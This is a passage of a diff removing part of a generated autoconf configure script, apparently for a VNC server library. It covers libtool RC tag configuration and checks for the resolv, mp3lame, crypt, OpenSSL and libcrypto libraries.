-include_expsyms=$lt_include_expsyms_GCJ
-
-# ### END LIBTOOL TAG CONFIG: $tagname
-
-__EOF__
-
-
-else
- # If there is no Makefile yet, we rely on a make rule to execute
- # `config.status --recheck' to rerun these tests and create the
- # libtool script then.
- ltmain_in=`echo $ltmain | sed -e 's/\.sh$/.in/'`
- if test -f "$ltmain_in"; then
- test -f Makefile && make "$ltmain"
- fi
-fi
-
-
-ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
-CC="$lt_save_CC"
-
- else
- tagname=""
- fi
- ;;
-
- RC)
-
-
-# Source file extension for RC test sources.
-ac_ext=rc
-
-# Object file extension for compiled RC test sources.
-objext=o
-objext_RC=$objext
-
-# Code to be used in simple compile tests
-lt_simple_compile_test_code='sample MENU { MENUITEM "&Soup", 100, CHECKED }\n'
-
-# Code to be used in simple link tests
-lt_simple_link_test_code="$lt_simple_compile_test_code"
-
-# ltmain only uses $CC for tagged configurations so make sure $CC is set.
-
-# If no C compiler was specified, use CC.
-LTCC=${LTCC-"$CC"}
-
-# If no C compiler flags were specified, use CFLAGS.
-LTCFLAGS=${LTCFLAGS-"$CFLAGS"}
-
-# Allow CC to be a program name with arguments.
-compiler=$CC
-
-
-# save warnings/boilerplate of simple test code
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_compile_test_code" >conftest.$ac_ext
-eval "$ac_compile" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_compiler_boilerplate=`cat conftest.err`
-$rm conftest*
-
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_link_test_code" >conftest.$ac_ext
-eval "$ac_link" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_linker_boilerplate=`cat conftest.err`
-$rm conftest*
-
-
-# Allow CC to be a program name with arguments.
-lt_save_CC="$CC"
-CC=${RC-"windres"}
-compiler=$CC
-compiler_RC=$CC
-for cc_temp in $compiler""; do
- case $cc_temp in
- compile | *[\\/]compile | ccache | *[\\/]ccache ) ;;
- distcc | *[\\/]distcc | purify | *[\\/]purify ) ;;
- \-*) ;;
- *) break;;
- esac
-done
-cc_basename=`$echo "X$cc_temp" | $Xsed -e 's%.*/%%' -e "s%^$host_alias-%%"`
-
-lt_cv_prog_compiler_c_o_RC=yes
-
-# The else clause should only fire when bootstrapping the
-# libtool distribution, otherwise you forgot to ship ltmain.sh
-# with your package, and you will get complaints that there are
-# no rules to generate ltmain.sh.
-if test -f "$ltmain"; then
- # See if we are running on zsh, and set the options which allow our commands through
- # without removal of \ escapes.
- if test -n "${ZSH_VERSION+set}" ; then
- setopt NO_GLOB_SUBST
- fi
- # Now quote all the things that may contain metacharacters while being
- # careful not to overquote the AC_SUBSTed values. We take copies of the
- # variables and quote the copies for generation of the libtool script.
- for var in echo old_CC old_CFLAGS AR AR_FLAGS EGREP RANLIB LN_S LTCC LTCFLAGS NM \
- SED SHELL STRIP \
- libname_spec library_names_spec soname_spec extract_expsyms_cmds \
- old_striplib striplib file_magic_cmd finish_cmds finish_eval \
- deplibs_check_method reload_flag reload_cmds need_locks \
- lt_cv_sys_global_symbol_pipe lt_cv_sys_global_symbol_to_cdecl \
- lt_cv_sys_global_symbol_to_c_name_address \
- sys_lib_search_path_spec sys_lib_dlsearch_path_spec \
- old_postinstall_cmds old_postuninstall_cmds \
- compiler_RC \
- CC_RC \
- LD_RC \
- lt_prog_compiler_wl_RC \
- lt_prog_compiler_pic_RC \
- lt_prog_compiler_static_RC \
- lt_prog_compiler_no_builtin_flag_RC \
- export_dynamic_flag_spec_RC \
- thread_safe_flag_spec_RC \
- whole_archive_flag_spec_RC \
- enable_shared_with_static_runtimes_RC \
- old_archive_cmds_RC \
- old_archive_from_new_cmds_RC \
- predep_objects_RC \
- postdep_objects_RC \
- predeps_RC \
- postdeps_RC \
- compiler_lib_search_path_RC \
- archive_cmds_RC \
- archive_expsym_cmds_RC \
- postinstall_cmds_RC \
- postuninstall_cmds_RC \
- old_archive_from_expsyms_cmds_RC \
- allow_undefined_flag_RC \
- no_undefined_flag_RC \
- export_symbols_cmds_RC \
- hardcode_libdir_flag_spec_RC \
- hardcode_libdir_flag_spec_ld_RC \
- hardcode_libdir_separator_RC \
- hardcode_automatic_RC \
- module_cmds_RC \
- module_expsym_cmds_RC \
- lt_cv_prog_compiler_c_o_RC \
- exclude_expsyms_RC \
- include_expsyms_RC; do
-
- case $var in
- old_archive_cmds_RC | \
- old_archive_from_new_cmds_RC | \
- archive_cmds_RC | \
- archive_expsym_cmds_RC | \
- module_cmds_RC | \
- module_expsym_cmds_RC | \
- old_archive_from_expsyms_cmds_RC | \
- export_symbols_cmds_RC | \
- extract_expsyms_cmds | reload_cmds | finish_cmds | \
- postinstall_cmds | postuninstall_cmds | \
- old_postinstall_cmds | old_postuninstall_cmds | \
- sys_lib_search_path_spec | sys_lib_dlsearch_path_spec)
- # Double-quote double-evaled strings.
- eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$double_quote_subst\" -e \"\$sed_quote_subst\" -e \"\$delay_variable_subst\"\`\\\""
- ;;
- *)
- eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$sed_quote_subst\"\`\\\""
- ;;
- esac
- done
-
- case $lt_echo in
- *'\$0 --fallback-echo"')
- lt_echo=`$echo "X$lt_echo" | $Xsed -e 's/\\\\\\\$0 --fallback-echo"$/$0 --fallback-echo"/'`
- ;;
- esac
-
-cfgfile="$ofile"
-
- cat <<__EOF__ >> "$cfgfile"
-# ### BEGIN LIBTOOL TAG CONFIG: $tagname
-
-# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`:
-
-# Shell to use when invoking shell scripts.
-SHELL=$lt_SHELL
-
-# Whether or not to build shared libraries.
-build_libtool_libs=$enable_shared
-
-# Whether or not to build static libraries.
-build_old_libs=$enable_static
-
-# Whether or not to add -lc for building shared libraries.
-build_libtool_need_lc=$archive_cmds_need_lc_RC
-
-# Whether or not to disallow shared libs when runtime libs are static
-allow_libtool_libs_with_static_runtimes=$enable_shared_with_static_runtimes_RC
-
-# Whether or not to optimize for fast installation.
-fast_install=$enable_fast_install
-
-# The host system.
-host_alias=$host_alias
-host=$host
-host_os=$host_os
-
-# The build system.
-build_alias=$build_alias
-build=$build
-build_os=$build_os
-
-# An echo program that does not interpret backslashes.
-echo=$lt_echo
-
-# The archiver.
-AR=$lt_AR
-AR_FLAGS=$lt_AR_FLAGS
-
-# A C compiler.
-LTCC=$lt_LTCC
-
-# LTCC compiler flags.
-LTCFLAGS=$lt_LTCFLAGS
-
-# A language-specific compiler.
-CC=$lt_compiler_RC
-
-# Is the compiler the GNU C compiler?
-with_gcc=$GCC_RC
-
-# An ERE matcher.
-EGREP=$lt_EGREP
-
-# The linker used to build libraries.
-LD=$lt_LD_RC
-
-# Whether we need hard or soft links.
-LN_S=$lt_LN_S
-
-# A BSD-compatible nm program.
-NM=$lt_NM
-
-# A symbol stripping program
-STRIP=$lt_STRIP
-
-# Used to examine libraries when file_magic_cmd begins "file"
-MAGIC_CMD=$MAGIC_CMD
-
-# Used on cygwin: DLL creation program.
-DLLTOOL="$DLLTOOL"
-
-# Used on cygwin: object dumper.
-OBJDUMP="$OBJDUMP"
-
-# Used on cygwin: assembler.
-AS="$AS"
-
-# The name of the directory that contains temporary libtool files.
-objdir=$objdir
-
-# How to create reloadable object files.
-reload_flag=$lt_reload_flag
-reload_cmds=$lt_reload_cmds
-
-# How to pass a linker flag through the compiler.
-wl=$lt_lt_prog_compiler_wl_RC
-
-# Object file suffix (normally "o").
-objext="$ac_objext"
-
-# Old archive suffix (normally "a").
-libext="$libext"
-
-# Shared library suffix (normally ".so").
-shrext_cmds='$shrext_cmds'
-
-# Executable file suffix (normally "").
-exeext="$exeext"
-
-# Additional compiler flags for building library objects.
-pic_flag=$lt_lt_prog_compiler_pic_RC
-pic_mode=$pic_mode
-
-# What is the maximum length of a command?
-max_cmd_len=$lt_cv_sys_max_cmd_len
-
-# Does compiler simultaneously support -c and -o options?
-compiler_c_o=$lt_lt_cv_prog_compiler_c_o_RC
-
-# Must we lock files when doing compilation?
-need_locks=$lt_need_locks
-
-# Do we need the lib prefix for modules?
-need_lib_prefix=$need_lib_prefix
-
-# Do we need a version for libraries?
-need_version=$need_version
-
-# Whether dlopen is supported.
-dlopen_support=$enable_dlopen
-
-# Whether dlopen of programs is supported.
-dlopen_self=$enable_dlopen_self
-
-# Whether dlopen of statically linked programs is supported.
-dlopen_self_static=$enable_dlopen_self_static
-
-# Compiler flag to prevent dynamic linking.
-link_static_flag=$lt_lt_prog_compiler_static_RC
-
-# Compiler flag to turn off builtin functions.
-no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag_RC
-
-# Compiler flag to allow reflexive dlopens.
-export_dynamic_flag_spec=$lt_export_dynamic_flag_spec_RC
-
-# Compiler flag to generate shared objects directly from archives.
-whole_archive_flag_spec=$lt_whole_archive_flag_spec_RC
-
-# Compiler flag to generate thread-safe objects.
-thread_safe_flag_spec=$lt_thread_safe_flag_spec_RC
-
-# Library versioning type.
-version_type=$version_type
-
-# Format of library name prefix.
-libname_spec=$lt_libname_spec
-
-# List of archive names. First name is the real one, the rest are links.
-# The last name is the one that the linker finds with -lNAME.
-library_names_spec=$lt_library_names_spec
-
-# The coded name of the library, if different from the real name.
-soname_spec=$lt_soname_spec
-
-# Commands used to build and install an old-style archive.
-RANLIB=$lt_RANLIB
-old_archive_cmds=$lt_old_archive_cmds_RC
-old_postinstall_cmds=$lt_old_postinstall_cmds
-old_postuninstall_cmds=$lt_old_postuninstall_cmds
-
-# Create an old-style archive from a shared archive.
-old_archive_from_new_cmds=$lt_old_archive_from_new_cmds_RC
-
-# Create a temporary old-style archive to link instead of a shared archive.
-old_archive_from_expsyms_cmds=$lt_old_archive_from_expsyms_cmds_RC
-
-# Commands used to build and install a shared archive.
-archive_cmds=$lt_archive_cmds_RC
-archive_expsym_cmds=$lt_archive_expsym_cmds_RC
-postinstall_cmds=$lt_postinstall_cmds
-postuninstall_cmds=$lt_postuninstall_cmds
-
-# Commands used to build a loadable module (assumed same as above if empty)
-module_cmds=$lt_module_cmds_RC
-module_expsym_cmds=$lt_module_expsym_cmds_RC
-
-# Commands to strip libraries.
-old_striplib=$lt_old_striplib
-striplib=$lt_striplib
-
-# Dependencies to place before the objects being linked to create a
-# shared library.
-predep_objects=$lt_predep_objects_RC
-
-# Dependencies to place after the objects being linked to create a
-# shared library.
-postdep_objects=$lt_postdep_objects_RC
-
-# Dependencies to place before the objects being linked to create a
-# shared library.
-predeps=$lt_predeps_RC
-
-# Dependencies to place after the objects being linked to create a
-# shared library.
-postdeps=$lt_postdeps_RC
-
-# The library search path used internally by the compiler when linking
-# a shared library.
-compiler_lib_search_path=$lt_compiler_lib_search_path_RC
-
-# Method to check whether dependent libraries are shared objects.
-deplibs_check_method=$lt_deplibs_check_method
-
-# Command to use when deplibs_check_method == file_magic.
-file_magic_cmd=$lt_file_magic_cmd
-
-# Flag that allows shared libraries with undefined symbols to be built.
-allow_undefined_flag=$lt_allow_undefined_flag_RC
-
-# Flag that forces no undefined symbols.
-no_undefined_flag=$lt_no_undefined_flag_RC
-
-# Commands used to finish a libtool library installation in a directory.
-finish_cmds=$lt_finish_cmds
-
-# Same as above, but a single script fragment to be evaled but not shown.
-finish_eval=$lt_finish_eval
-
-# Take the output of nm and produce a listing of raw symbols and C names.
-global_symbol_pipe=$lt_lt_cv_sys_global_symbol_pipe
-
-# Transform the output of nm in a proper C declaration
-global_symbol_to_cdecl=$lt_lt_cv_sys_global_symbol_to_cdecl
-
-# Transform the output of nm in a C name address pair
-global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
-
-# This is the shared library runtime path variable.
-runpath_var=$runpath_var
-
-# This is the shared library path variable.
-shlibpath_var=$shlibpath_var
-
-# Is shlibpath searched before the hard-coded library search path?
-shlibpath_overrides_runpath=$shlibpath_overrides_runpath
-
-# How to hardcode a shared library path into an executable.
-hardcode_action=$hardcode_action_RC
-
-# Whether we should hardcode library paths into libraries.
-hardcode_into_libs=$hardcode_into_libs
-
-# Flag to hardcode \$libdir into a binary during linking.
-# This must work even if \$libdir does not exist.
-hardcode_libdir_flag_spec=$lt_hardcode_libdir_flag_spec_RC
-
-# If ld is used when linking, flag to hardcode \$libdir into
-# a binary during linking. This must work even if \$libdir does
-# not exist.
-hardcode_libdir_flag_spec_ld=$lt_hardcode_libdir_flag_spec_ld_RC
-
-# Whether we need a single -rpath flag with a separated argument.
-hardcode_libdir_separator=$lt_hardcode_libdir_separator_RC
-
-# Set to yes if using DIR/libNAME${shared_ext} during linking hardcodes DIR into the
-# resulting binary.
-hardcode_direct=$hardcode_direct_RC
-
-# Set to yes if using the -LDIR flag during linking hardcodes DIR into the
-# resulting binary.
-hardcode_minus_L=$hardcode_minus_L_RC
-
-# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into
-# the resulting binary.
-hardcode_shlibpath_var=$hardcode_shlibpath_var_RC
-
-# Set to yes if building a shared library automatically hardcodes DIR into the library
-# and all subsequent libraries and executables linked against it.
-hardcode_automatic=$hardcode_automatic_RC
-
-# Variables whose values should be saved in libtool wrapper scripts and
-# restored at relink time.
-variables_saved_for_relink="$variables_saved_for_relink"
-
-# Whether libtool must link a program against all its dependency libraries.
-link_all_deplibs=$link_all_deplibs_RC
-
-# Compile-time system search path for libraries
-sys_lib_search_path_spec=$lt_sys_lib_search_path_spec
-
-# Run-time system search path for libraries
-sys_lib_dlsearch_path_spec=$lt_sys_lib_dlsearch_path_spec
-
-# Fix the shell variable \$srcfile for the compiler.
-fix_srcfile_path="$fix_srcfile_path_RC"
-
-# Set to yes if exported symbols are required.
-always_export_symbols=$always_export_symbols_RC
-
-# The commands to list exported symbols.
-export_symbols_cmds=$lt_export_symbols_cmds_RC
-
-# The commands to extract the exported symbol list from a shared archive.
-extract_expsyms_cmds=$lt_extract_expsyms_cmds
-
-# Symbols that should not be listed in the preloaded symbols.
-exclude_expsyms=$lt_exclude_expsyms_RC
-
-# Symbols that must always be exported.
-include_expsyms=$lt_include_expsyms_RC
-
-# ### END LIBTOOL TAG CONFIG: $tagname
-
-__EOF__
-
-
-else
- # If there is no Makefile yet, we rely on a make rule to execute
- # `config.status --recheck' to rerun these tests and create the
- # libtool script then.
- ltmain_in=`echo $ltmain | sed -e 's/\.sh$/.in/'`
- if test -f "$ltmain_in"; then
- test -f Makefile && make "$ltmain"
- fi
-fi
-
-
-ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
-CC="$lt_save_CC"
-
- ;;
-
- *)
- as_fn_error $? "Unsupported tag name: $tagname" "$LINENO" 5
- ;;
- esac
-
- # Append the new tag name to the list of available tags.
- if test -n "$tagname" ; then
- available_tags="$available_tags $tagname"
- fi
- fi
- done
- IFS="$lt_save_ifs"
-
- # Now substitute the updated list of available tags.
- if eval "sed -e 's/^available_tags=.*\$/available_tags=\"$available_tags\"/' \"$ofile\" > \"${ofile}T\""; then
- mv "${ofile}T" "$ofile"
- chmod +x "$ofile"
- else
- rm -f "${ofile}T"
- as_fn_error $? "unable to update list of available tagged configurations." "$LINENO" 5
- fi
-fi
-
-
-
-# This can be used to rebuild libtool when needed
-LIBTOOL_DEPS="$ac_aux_dir/ltmain.sh"
-
-# Always use our own libtool.
-LIBTOOL='$(SHELL) $(top_builddir)/libtool'
-
-# Prevent multiple expansion
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-# Extract the first word of "ar", so it can be a program name with args.
-set dummy ar; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_path_AR+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- case $AR in
- [\\/]* | ?:[\\/]*)
- ac_cv_path_AR="$AR" # Let the user override the test with a path.
- ;;
- *)
- as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-as_dummy="$PATH:/usr/ccs/bin"
-for as_dir in $as_dummy
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_path_AR="$as_dir/$ac_word$ac_exec_ext"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
- test -z "$ac_cv_path_AR" && ac_cv_path_AR="/usr/bin/ar"
- ;;
-esac
-fi
-AR=$ac_cv_path_AR
-if test -n "$AR"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $AR" >&5
-$as_echo "$AR" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
-
-# Options
-
-
-@%:@ Check whether --with-tightvnc-filetransfer was given.
-if test "${with_tightvnc_filetransfer+set}" = set; then :
- withval=$with_tightvnc_filetransfer;
-else
- with_tightvnc_filetransfer=yes
-fi
-
-# AC_DEFINE moved to after libpthread check.
-
-# WebSockets support
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for __b64_ntop in -lresolv" >&5
-$as_echo_n "checking for __b64_ntop in -lresolv... " >&6; }
-if ${ac_cv_lib_resolv___b64_ntop+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lresolv $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char __b64_ntop ();
-int
-main ()
-{
-return __b64_ntop ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_resolv___b64_ntop=yes
-else
- ac_cv_lib_resolv___b64_ntop=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_resolv___b64_ntop" >&5
-$as_echo "$ac_cv_lib_resolv___b64_ntop" >&6; }
-if test "x$ac_cv_lib_resolv___b64_ntop" = xyes; then :
- HAVE_B64="true"
-else
- HAVE_B64="false"
-fi
-
-
-
-@%:@ Check whether --with-websockets was given.
-if test "${with_websockets+set}" = set; then :
- withval=$with_websockets;
-else
- with_websockets=yes
-fi
-
-# AC_DEFINE moved to after libresolve check.
-
-
-
-@%:@ Check whether --with-24bpp was given.
-if test "${with_24bpp+set}" = set; then :
- withval=$with_24bpp;
-else
- with_24bpp=yes
-fi
-
-if test "x$with_24bpp" = "xyes"; then
- $as_echo "@%:@define ALLOW24BPP 1" >>confdefs.h
-
-fi
-
-
-@%:@ Check whether --with-ffmpeg was given.
-if test "${with_ffmpeg+set}" = set; then :
- withval=$with_ffmpeg;
-fi
-
-
- if test ! -z "$with_ffmpeg"; then
- WITH_FFMPEG_TRUE=
- WITH_FFMPEG_FALSE='#'
-else
- WITH_FFMPEG_TRUE='#'
- WITH_FFMPEG_FALSE=
-fi
-
-if test ! -z "$with_ffmpeg"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for lame_init in -lmp3lame" >&5
-$as_echo_n "checking for lame_init in -lmp3lame... " >&6; }
-if ${ac_cv_lib_mp3lame_lame_init+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lmp3lame $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char lame_init ();
-int
-main ()
-{
-return lame_init ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_mp3lame_lame_init=yes
-else
- ac_cv_lib_mp3lame_lame_init=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_mp3lame_lame_init" >&5
-$as_echo "$ac_cv_lib_mp3lame_lame_init" >&6; }
-if test "x$ac_cv_lib_mp3lame_lame_init" = xyes; then :
- HAVE_MP3LAME="true"
-else
- HAVE_MP3LAME="false"
-fi
-
-fi
- if test "$HAVE_MP3LAME" = "true"; then
- HAVE_MP3LAME_TRUE=
- HAVE_MP3LAME_FALSE='#'
-else
- HAVE_MP3LAME_TRUE='#'
- HAVE_MP3LAME_FALSE=
-fi
-
-
-# Seem to need this dummy here to induce the 'checking for egrep... grep -E', etc.
-# before it seemed to be inside the with_jpeg conditional.
-ac_fn_c_check_header_mongrel "$LINENO" "thenonexistentheader.h" "ac_cv_header_thenonexistentheader_h" "$ac_includes_default"
-if test "x$ac_cv_header_thenonexistentheader_h" = xyes; then :
- HAVE_THENONEXISTENTHEADER_H="true"
-fi
-
-
-
-# set some ld -R nonsense
-#
-uname_s=`(uname -s) 2>/dev/null`
-ld_minus_R="yes"
-if test "x$uname_s" = "xHP-UX"; then
- ld_minus_R="no"
-elif test "x$uname_s" = "xOSF1"; then
- ld_minus_R="no"
-elif test "x$uname_s" = "xDarwin"; then
- ld_minus_R="no"
-fi
-
-# Check for OpenSSL
-
-
-@%:@ Check whether --with-crypt was given.
-if test "${with_crypt+set}" = set; then :
- withval=$with_crypt;
-fi
-
-if test "x$with_crypt" != "xno"; then
- for ac_func in crypt
-do :
- ac_fn_c_check_func "$LINENO" "crypt" "ac_cv_func_crypt"
-if test "x$ac_cv_func_crypt" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define HAVE_CRYPT 1
-_ACEOF
- HAVE_LIBC_CRYPT="true"
-fi
-done
-
- if test -z "$HAVE_LIBC_CRYPT"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for crypt in -lcrypt" >&5
-$as_echo_n "checking for crypt in -lcrypt... " >&6; }
-if ${ac_cv_lib_crypt_crypt+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lcrypt $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char crypt ();
-int
-main ()
-{
-return crypt ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_crypt_crypt=yes
-else
- ac_cv_lib_crypt_crypt=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_crypt_crypt" >&5
-$as_echo "$ac_cv_lib_crypt_crypt" >&6; }
-if test "x$ac_cv_lib_crypt_crypt" = xyes; then :
- CRYPT_LIBS="-lcrypt"
- $as_echo "@%:@define HAVE_LIBCRYPT 1" >>confdefs.h
-
-fi
-
- fi
-fi
-
-
-# some OS's need both -lssl and -lcrypto on link line:
-
-
-@%:@ Check whether --with-crypto was given.
-if test "${with_crypto+set}" = set; then :
- withval=$with_crypto;
-fi
-
-
-
-
-@%:@ Check whether --with-ssl was given.
-if test "${with_ssl+set}" = set; then :
- withval=$with_ssl;
-fi
-
-
-if test "x$with_crypto" != "xno" -a "x$with_ssl" != "xno"; then
- if test ! -z "$with_ssl" -a "x$with_ssl" != "xyes"; then
- saved_CPPFLAGS="$CPPFLAGS"
- saved_LDFLAGS="$LDFLAGS"
- CPPFLAGS="$CPPFLAGS -I$with_ssl/include"
- LDFLAGS="$LDFLAGS -L$with_ssl/lib"
- if test "x$ld_minus_R" = "xno"; then
- :
- elif test "x$GCC" = "xyes"; then
- LDFLAGS="$LDFLAGS -Xlinker -R$with_ssl/lib"
- else
- LDFLAGS="$LDFLAGS -R$with_ssl/lib"
- fi
- fi
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for RAND_file_name in -lcrypto" >&5
-$as_echo_n "checking for RAND_file_name in -lcrypto... " >&6; }
-if ${ac_cv_lib_crypto_RAND_file_name+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lcrypto $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char RAND_file_name ();
-int
-main ()
-{
-return RAND_file_name ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_crypto_RAND_file_name=yes
-else
- ac_cv_lib_crypto_RAND_file_name=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_crypto_RAND_file_name" >&5
-$as_echo "$ac_cv_lib_crypto_RAND_file_name" >&6; }
-if test "x$ac_cv_lib_crypto_RAND_file_name" = xyes; then :
- $as_echo "@%:@define HAVE_LIBCRYPTO 1" >>confdefs.h
- HAVE_LIBCRYPTO="true"
-fi
-
- if test ! -z "$with_ssl" -a "x$with_ssl" != "xyes"; then
- if test "x$HAVE_LIBCRYPTO" != "xtrue"; then
- CPPFLAGS="$saved_CPPFLAGS"
- LDFLAGS="$saved_LDFLAGS"
- fi
- fi
-fi
-
-
-if test "x$with_ssl" != "xno"; then
- if test "x$HAVE_LIBCRYPTO" = "xtrue"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for SSL_library_init in -lssl" >&5
-$as_echo_n "checking for SSL_library_init in -lssl... " >&6; }
-if ${ac_cv_lib_ssl_SSL_library_init+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lssl -lcrypto $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char SSL_library_init ();
-int
-main ()
-{
-return SSL_library_init ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_ssl_SSL_library_init=yes
-else
- ac_cv_lib_ssl_SSL_library_init=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_ssl_SSL_library_init" >&5
-$as_echo "$ac_cv_lib_ssl_SSL_library_init" >&6; }
-if test "x$ac_cv_lib_ssl_SSL_library_init" = xyes; then :
- SSL_LIBS="-lssl -lcrypto"
- $as_echo "@%:@define HAVE_LIBSSL 1" >>confdefs.h
- HAVE_LIBSSL="true"
-fi
-
- else
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for SSL_library_init in -lssl" >&5
-$as_echo_n "checking for SSL_library_init in -lssl... " >&6; }
-if ${ac_cv_lib_ssl_SSL_library_init+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lssl $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char SSL_library_init ();
-int
-main ()
-{
-return SSL_library_init ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_ssl_SSL_library_init=yes
-else
- ac_cv_lib_ssl_SSL_library_init=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_ssl_SSL_library_init" >&5
-$as_echo "$ac_cv_lib_ssl_SSL_library_init" >&6; }
-if test "x$ac_cv_lib_ssl_SSL_library_init" = xyes; then :
- SSL_LIBS="-lssl"
- $as_echo "@%:@define HAVE_LIBSSL 1" >>confdefs.h
- HAVE_LIBSSL="true"
-fi
-
- fi
-fi
-
- if test ! -z "$SSL_LIBS"; then
- HAVE_LIBSSL_TRUE=
- HAVE_LIBSSL_FALSE='#'
-else
